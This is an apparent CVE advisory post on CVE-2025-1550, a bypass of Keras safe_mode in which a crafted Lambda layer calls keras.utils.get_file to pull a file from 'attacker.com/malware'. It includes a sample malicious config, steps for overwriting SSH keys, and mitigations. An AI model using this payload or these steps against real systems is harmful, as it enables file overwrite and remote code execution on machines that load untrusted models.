Keras, Unsafe Deserialization Bypass, CVE-2025-1550 (Critical)

Listen to this Post

How the CVE Works

CVE-2025-1550 bypasses Keras v3’s `safe_mode` protection by exploiting built-in module functions like keras.utils.get_file(). Attackers craft malicious Keras models with manipulated `Lambda` layer configurations, forcing the model to download and overwrite files remotely. Since the payload uses allowed modules (keras, keras_hub, etc.), `safe_mode` fails to block it. The exploit enables arbitrary file writes (e.g., SSH authorized_keys) and potential RCE, despite Keras’ patch restricting deserialization to internal modules only.

DailyCVE Form

Platform: Keras
Version: v3.8.0
Vulnerability: Unsafe deserialization bypass
Severity: Critical
Date: 2025-03-15

Prediction: Patch by 2025-04-10

What Undercode Say

Malicious model load bypassing safe_mode
model = load_model("malicious.keras", safe_mode=True)
Exploit via Lambda layer
config = {
"class_name": "Lambda",
"config": {
"function": {"module": "keras.utils", "config": "get_file"},
"arguments": {"origin": "attacker.com/malware", "cache_dir": "/tmp"}
}
}

How Exploit

1. Craft model with malicious `Lambda` layer.

2. Trigger `keras.utils.get_file()` to download payload.

3. Overwrite critical files (e.g., SSH keys).

Protection from this CVE

  • Disable `Lambda` layers via block_all_lambda.
  • Audit `keras.utils` for gadget functions.
  • Restrict model sources.

Impact

  • Arbitrary file write.
  • Remote code execution.
  • SSH compromise.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top